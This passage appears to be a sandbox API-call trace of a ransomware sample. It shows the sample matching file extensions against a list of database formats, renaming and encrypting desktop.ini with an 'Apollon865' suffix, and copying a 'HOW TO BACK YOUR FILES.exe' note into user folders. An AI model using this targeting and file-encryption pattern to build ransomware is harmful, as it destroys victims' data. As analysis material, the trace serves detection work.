	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0087.017] lstrlenW (lpString="eco") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0087.017] lstrlenW (lpString="ecx") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0087.018] lstrlenW (lpString="edb") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0087.018] lstrlenW (lpString="epim") returned 4
	[0087.018] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0087.018] lstrlenW (lpString="fcd") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0087.018] lstrlenW (lpString="fdb") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0087.018] lstrlenW (lpString="fic") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0087.018] lstrlenW (lpString="flexolibrary") returned 12
	[0087.018] lstrlenW (lpString="fm5") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0087.018] lstrlenW (lpString="fmp") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0087.018] lstrlenW (lpString="fmp12") returned 5
	[0087.018] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0087.018] lstrlenW (lpString="fmpsl") returned 5
	[0087.018] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0087.018] lstrlenW (lpString="fol") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0087.018] lstrlenW (lpString="fp3") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0087.018] lstrlenW (lpString="fp4") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0087.018] lstrlenW (lpString="fp5") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0087.018] lstrlenW (lpString="fp7") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0087.018] lstrlenW (lpString="fpt") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0087.018] lstrlenW (lpString="frm") returned 3
	[0087.018] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0087.019] lstrlenW (lpString="gdb") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0087.019] lstrlenW (lpString="gdb") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0087.019] lstrlenW (lpString="grdb") returned 4
	[0087.019] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0087.019] lstrlenW (lpString="gwi") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0087.019] lstrlenW (lpString="hdb") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0087.019] lstrlenW (lpString="his") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0087.019] lstrlenW (lpString="ib") returned 2
	[0087.019] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0087.019] lstrlenW (lpString="idb") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0087.019] lstrlenW (lpString="ihx") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0087.019] lstrlenW (lpString="itdb") returned 4
	[0087.019] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0087.019] lstrlenW (lpString="itw") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0087.019] lstrlenW (lpString="jet") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0087.019] lstrlenW (lpString="jtx") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0087.019] lstrlenW (lpString="kdb") returned 3
	[0087.019] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0087.019] lstrlenW (lpString="kexi") returned 4
	[0087.019] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0087.019] lstrlenW (lpString="kexic") returned 5
	[0087.019] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0087.019] lstrlenW (lpString="kexis") returned 5
	[0087.019] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0087.019] lstrlenW (lpString="lgc") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0087.020] lstrlenW (lpString="lwx") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0087.020] lstrlenW (lpString="maf") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0087.020] lstrlenW (lpString="maq") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0087.020] lstrlenW (lpString="mar") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0087.020] lstrlenW (lpString="marshal") returned 7
	[0087.020] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0087.020] lstrlenW (lpString="mas") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0087.020] lstrlenW (lpString="mav") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0087.020] lstrlenW (lpString="maw") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0087.020] lstrlenW (lpString="mdbhtml") returned 7
	[0087.020] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0087.020] lstrlenW (lpString="mdn") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0087.020] lstrlenW (lpString="mdt") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0087.020] lstrlenW (lpString="mfd") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0087.020] lstrlenW (lpString="mpd") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0087.020] lstrlenW (lpString="mrg") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0087.020] lstrlenW (lpString="mud") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0087.020] lstrlenW (lpString="mwb") returned 3
	[0087.020] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0087.020] lstrlenW (lpString="myd") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0087.021] lstrlenW (lpString="ndf") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0087.021] lstrlenW (lpString="nnt") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0087.021] lstrlenW (lpString="nrmlib") returned 6
	[0087.021] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0087.021] lstrlenW (lpString="ns2") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0087.021] lstrlenW (lpString="ns3") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0087.021] lstrlenW (lpString="ns4") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0087.021] lstrlenW (lpString="nsf") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0087.021] lstrlenW (lpString="nv") returned 2
	[0087.021] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0087.021] lstrlenW (lpString="nv2") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0087.021] lstrlenW (lpString="nwdb") returned 4
	[0087.021] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0087.021] lstrlenW (lpString="nyf") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0087.021] lstrlenW (lpString="odb") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0087.021] lstrlenW (lpString="odb") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0087.021] lstrlenW (lpString="oqy") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0087.021] lstrlenW (lpString="ora") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0087.021] lstrlenW (lpString="orx") returned 3
	[0087.021] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0087.021] lstrlenW (lpString="owc") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0087.022] lstrlenW (lpString="p96") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0087.022] lstrlenW (lpString="p97") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0087.022] lstrlenW (lpString="pan") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0087.022] lstrlenW (lpString="pdb") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0087.022] lstrlenW (lpString="pdm") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0087.022] lstrlenW (lpString="pnz") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0087.022] lstrlenW (lpString="qry") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0087.022] lstrlenW (lpString="qvd") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0087.022] lstrlenW (lpString="rbf") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0087.022] lstrlenW (lpString="rctd") returned 4
	[0087.022] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0087.022] lstrlenW (lpString="rod") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0087.022] lstrlenW (lpString="rodx") returned 4
	[0087.022] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0087.022] lstrlenW (lpString="rpd") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0087.022] lstrlenW (lpString="rsd") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0087.022] lstrlenW (lpString="sas7bdat") returned 8
	[0087.022] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0087.022] lstrlenW (lpString="sbf") returned 3
	[0087.022] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0087.022] lstrlenW (lpString="scx") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0087.023] lstrlenW (lpString="sdb") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0087.023] lstrlenW (lpString="sdc") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0087.023] lstrlenW (lpString="sdf") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0087.023] lstrlenW (lpString="sis") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0087.023] lstrlenW (lpString="spq") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0087.023] lstrlenW (lpString="te") returned 2
	[0087.023] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0087.023] lstrlenW (lpString="teacher") returned 7
	[0087.023] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0087.023] lstrlenW (lpString="tmd") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0087.023] lstrlenW (lpString="tps") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0087.023] lstrlenW (lpString="trc") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0087.023] lstrlenW (lpString="trc") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0087.023] lstrlenW (lpString="trm") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0087.023] lstrlenW (lpString="udb") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0087.023] lstrlenW (lpString="udl") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0087.023] lstrlenW (lpString="usr") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0087.023] lstrlenW (lpString="v12") returned 3
	[0087.023] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0087.023] lstrlenW (lpString="vis") returned 3
	[0087.024] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0087.024] lstrlenW (lpString="vpd") returned 3
	[0087.024] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0087.024] lstrlenW (lpString="vvv") returned 3
	[0087.024] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0087.024] lstrlenW (lpString="wdb") returned 3
	[0087.024] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0087.024] lstrlenW (lpString="wmdb") returned 4
	[0087.024] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0087.024] lstrlenW (lpString="wrk") returned 3
	[0087.024] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0087.024] lstrlenW (lpString="xdb") returned 3
	[0087.024] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0087.024] lstrlenW (lpString="xld") returned 3
	[0087.024] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0087.024] lstrlenW (lpString="xmlff") returned 5
	[0087.024] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0087.024] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.Apollon865") returned 64
	[0087.024] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0087.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.026] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=282) returned 1
	[0087.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.026] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.027] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.027] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.027] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x15c
	[0087.028] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000
	[0087.028] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.029] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.029] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.030] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.030] CloseHandle (hObject=0x15c) returned 1
	[0087.030] CloseHandle (hObject=0x9c) returned 1
	[0087.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.031] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30245a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.031] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.031] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30245a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0087.031] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.031] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a70
	[0087.031] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent"
	[0087.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bccd0 | out: hHeap=0x580000) returned 1
	[0087.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0087.031] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned 36
	[0087.031] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent"
	[0087.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.032] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.032] GetLastError () returned 0x0
	[0087.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.032] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.033] CloseHandle (hObject=0x10c) returned 1
	[0087.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.033] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.033] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30245a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0087.033] GetLastError () returned 0x5
	[0087.033] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\* FindFirstFile error 5\r\n") returned 70
	[0087.033] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\* FindFirstFile error 5\r\n") returned 70
	[0087.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.033] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x651e
	[0087.033] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x46, lpOverlapped=0x0) returned 1
	[0087.034] CloseHandle (hObject=0x10c) returned 1
	[0087.034] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7990
	[0087.034] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood"
	[0087.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcc78 | out: hHeap=0x580000) returned 1
	[0087.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0087.034] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned 39
	[0087.034] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood"
	[0087.034] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.034] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.035] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.035] GetLastError () returned 0x0
	[0087.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.035] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.035] CloseHandle (hObject=0x10c) returned 1
	[0087.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.035] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.035] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30245a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0087.035] GetLastError () returned 0x5
	[0087.035] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\* FindFirstFile error 5\r\n") returned 73
	[0087.035] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\* FindFirstFile error 5\r\n") returned 73
